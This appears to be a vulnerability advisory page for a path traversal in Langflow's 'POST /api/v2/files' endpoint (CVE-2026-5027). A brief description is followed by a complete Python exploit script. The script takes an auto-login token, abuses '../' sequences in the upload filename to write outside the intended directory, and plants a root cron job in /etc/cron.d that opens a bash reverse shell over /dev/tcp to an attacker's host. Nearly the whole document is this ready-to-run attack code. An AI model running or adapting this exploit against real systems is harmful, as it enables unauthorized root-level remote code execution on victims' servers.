A path traversal vulnerability exists in langflow-ai langflow in the 'POST /api/v2/files' endpoint. The 'filename' parameter from multipart form data is not sanitized, allowing attackers to write files to arbitrary filesystem locations using '.. /' sequences. This can lead to full compromise of confidentiality, integrity, and availability of the affected system.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: Langflow 1.8.4 - Path Traversal to Remote Code Execution # Google Dork: N/A # Date: 2026-07-20 # Exploit Author: cardosource # Vendor Homepage: https://www.langflow.org/ # Software Link: https://github.com/langflow-ai/langflow # Version: <= 1.8.4 # Tested on: Docker - Ubuntu 22.04 + Langflow 1.8.4 # CVE: CVE-2026-5027 """ Langflow <= 1.8.4 - CVE-2026-5027 Path Traversal leading to Remote Code Execution (RCE) The vulnerability allows an authenticated attacker to abuse a path traversal in the file upload endpoint to write arbitrary files outside the intended directory. By writing a cron job under /etc/cron.d/, arbitrary commands can be executed with root privileges, resulting in Remote Code Execution. The exploit: 1. Obtains an access token via the auto-login endpoint. 2. Abuses path traversal in the file upload endpoint. 3. Writes a malicious cron job to /etc/cron.d/. 4. Waits for cron to execute the reverse shell payload. """ import warnings import requests import sys import time import re from typing import Optional, Tuple, Dict, Any from pathlib import PurePosixPath def create_config( target: str = "http://localhost:9013", lhost: str = "192.168.1.100", lport: int = 4444 ) -> Dict[str, Any]: return { "target": target.rstrip('/'), "lhost": lhost, "lport": lport, "traversal_depth": 9, "endpoint": "/api/v2/files", "auth_endpoint": "/api/v1/auto_login" } def create_session() -> requests.Session: session = requests.Session() session.verify = False return session def authenticate(config: Dict[str, Any], session: requests.Session) -> Optional[str]: try: response = session.get( f"{config['target']}{config['auth_endpoint']}", timeout=10 ) if response.status_code == 200: return response.json().get("access_token") except (requests.RequestException, KeyError, ValueError): pass return None def sanitize_hostname(host: str) -> str: return re.sub(r"[^A-Za-z0-9_-]", "_", host) def generate_timestamp() -> str: return time.strftime("%Y%m%d%H%M%S") def build_cron_path(lhost: str, lport: int) -> str: timestamp = generate_timestamp() safe_host = sanitize_hostname(lhost) return f"/etc/cron.d/langflow_{safe_host}_{lport}_{timestamp}_." def build_traversal_path(remote_path: str, depth: int = 9) -> str: path = PurePosixPath(remote_path) return "../" * depth + str(path).lstrip("/") def build_cron_content(lhost: str, lport: int) -> str: return f"""SHELL=/bin/bash PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin * * * * * root /bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1' """ def upload_file( config: Dict[str, Any], session: requests.Session, token: str, remote_path: str, content: bytes ) -> Tuple[bool, Optional[Dict[str, Any]]]: filename = build_traversal_path(remote_path, config['traversal_depth']) headers = {"Authorization": f"Bearer {token}"} files = {'file': (filename, content, 'application/octet-stream')} try: response = session.post( f"{config['target']}{config['endpoint']}", headers=headers, files=files, timeout=15 ) if response.status_code in (200, 201): return True, response.json() except requests.RequestException: pass return False, None def deploy_reverse_shell( config: Dict[str, Any], session: requests.Session, token: str ) -> Tuple[bool, str]: cron_path = build_cron_path(config['lhost'], config['lport']) cron_content = build_cron_content(config['lhost'], config['lport']) success, response_data = upload_file( config, session, token, cron_path, cron_content.encode() ) if success: return True, cron_path return False, cron_path def print_success(lhost: str, lport: int, cron_path: str) -> None: print(f"[+] Cron job deployed to {cron_path}") print(f"[+] Reverse shell incoming on {lhost}:{lport}") def print_failure(message: str = "Exploit failed") -> None: print(f"[-] {message}") def print_token(token: str) -> None: print(f"[+] Token obtained: {token[:40]}...") def print_config(config: Dict[str, Any]) -> None: print(f"[*] Target: {config['target']}") print(f"[*] Listener: {config['lhost']}:{config['lport']}") def validate_config(config: Dict[str, Any]) -> bool: if not config['target'].startswith(("http://", "https://")): print_failure("Target must start with http:// or https://") return False if config['lport'] < 1 or config['lport'] > 65535: print_failure("Port must be between 1 and 65535") return False if config['traversal_depth'] < 1: print_failure("Traversal depth must be at least 1") return False return True def authenticate_pipeline(config: Dict[str, Any]) -> Tuple[bool, Optional[str], requests.Session]: session = create_session() print("[*] Authenticating...") token = authenticate(config, session) if not token: session.close() return False, None, session print_token(token) return True, token, session def deploy_pipeline(config: Dict[str, Any], session: requests.Session, token: str) -> bool: print("[*] Deploying reverse shell...") success, cron_path = deploy_reverse_shell(config, session, token) if success: print_success(config['lhost'], config['lport'], cron_path) return True print_failure() return False def exploit( target: str = "http://localhost:9013", lhost: str = "192.168.1.38", lport: int = 4444 ) -> None: config = create_config(target, lhost, lport) print_config(config) if not validate_config(config): sys.exit(1) success, token, session = authenticate_pipeline(config) if not success: sys.exit(1) try: if not deploy_pipeline(config, session, token): sys.exit(1) finally: session.close() print("[+] Exploit completed successfully") if __name__ == "__main__": exploit()